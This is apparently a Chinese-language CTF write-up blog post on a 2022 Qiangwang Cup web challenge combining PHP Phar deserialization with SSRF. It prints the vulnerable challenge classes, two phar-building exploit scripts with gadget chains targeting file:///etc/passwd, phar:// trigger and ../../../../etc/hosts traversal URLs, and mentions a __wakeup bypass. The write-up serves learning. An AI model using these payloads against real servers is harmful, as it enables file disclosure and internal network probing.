CTF Web Phar反序列化+SSRF学习

前言:通过2022强网杯学习一下Phar反序列化利用,废话不多说,这里直接分析

拿主要的代码进行分析

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
    function __construct(){
        $this->file = $_FILES["file"];
    }
    function do_upload() {
        $filename = session_id().explode(".",$this->file["name"])[0].".jpg";
        if(file_exists($filename)) {
            unlink($filename);
        }
        move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
        echo 'upload  '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
    }
    function e($str){
        return htmlspecialchars($str);
    }
    function upload() {
        if($this->check()) {
            $this->do_upload();
        }
    }
    function __toString(){
        return $this->file["name"];
    }
    function __get($value){
        $this->filesize->$value = $this->date;
        echo $this->tmp;
    }
    function check() {
        $allowed_types = array("jpg","png","jpeg");
        $temp = explode(".",$this->file["name"]);
        $extension = end($temp);
        if(in_array($extension,$allowed_types)) {
            return true;
        }
        else {
            echo 'Invalid file!';
            return false;
        }
    }
}

class GuestShow{
    public $file;
    public $contents;
    public function __construct($file)
    {

        $this->file=$file;
    }
    function __toString(){
        $str = $this->file->name;
        return "";
    }
    function __get($value){
        return $this->$value;
    }
    function show()
    {
        $this->contents = file_get_contents($this->file);
        $src = "data:jpg;base64,".base64_encode($this->contents);
        echo "<img src={$src} />";
    }
    function __destruct(){
        echo $this;
    }
}


class AdminShow{
    public $source;
    public $str;
    public $filter;
    public function __construct($file)
    {
        $this->source = $file;
        $this->schema = 'file:///var/www/html/';
    }
    public function __toString()
    {
        $content = $this->str[0]->source;
        $content = $this->str[1]->schema;
        return $content;
    }
    public function __get($value){
        $this->show();
        return $this->$value;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function show(){
        if(preg_match('/usr|auto|log/i' , $this->source))
        {
            die("error");
        }
        $url = $this->schema . $this->source;
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_HEADER, 1);
        $response = curl_exec($curl);
        curl_close($curl);
        $src = "data:jpg;base64,".base64_encode($response);
        echo "<img src={$src} />";

    }
    public function __wakeup()
    {
        if ($this->schema !== 'file:///var/www/html/') {
            $this->schema = 'file:///var/www/html/';
        }
        if ($this->source !== 'admin.png') {
            $this->source = 'admin.png';
        }
    }
}

通过代码审计,可以发现这题有很多链子来触发反序列化来完成我们想要的效果,这里来列举两个比较简便的
第一条链子:
直接用AdminShow类中的__construct方法直接设置

<?php

class AdminShow
{
    public $source;
    public $str;
    public $filter;

    public function __construct($file)
    {
        $this->source = $file;
    }
}
$a = new AdminShow("file:///etc/passwd");
echo serialize($a);
$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($a); 
$phar->addFromString("demo.txt", "test"); 
$phar->stopBuffering();

第二条链子:

class AdminShow{
}
class GuestShow{
}
$a = new AdminShow('a');
$b = new GuestShow('a');
$c = new AdminShow('file:///etc/passwd');
$b->file = $c;//触发toString
$a->schema = $b;//把GuestShow的str内容触发到AdminShow的schema的content,触发toString
echo serialize($a);

$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($a); 
$phar->addFromString("demo.txt", "test"); 
$phar->stopBuffering();
?>

具体利用链子说明在注释里,然后修改生成的phar文件后缀名为gif,进行上传,用index文件去触发phar,showfile去触发ssrf进行内网获取

xxxx.com/index.php?fname=phar://文件名
xxx.com/showfile.php?=demo../../../../etc/hosts

然后判断flag在内网的具体位置,就可以再次利用phar进行反序列化读取即可,至于ssrf,这里先不说的,网上有关于ssrf的内容,至于不难,不过多讲解
__wakeup,可以更改类的长度来绕过,或者找个变量覆盖的地方来绕过,绕过都是老姿势了,不过多讲解,具体可以刷ctfshow里面有很详细的绕过方法

总结:学了phar反序列化的知识,这题考察了phar反序列化和ssrf,比较综合,hhh

本文链接:

http://blog.azly.top/index.php/archives/92/
1 + 3 =
快来做第一个评论的人吧~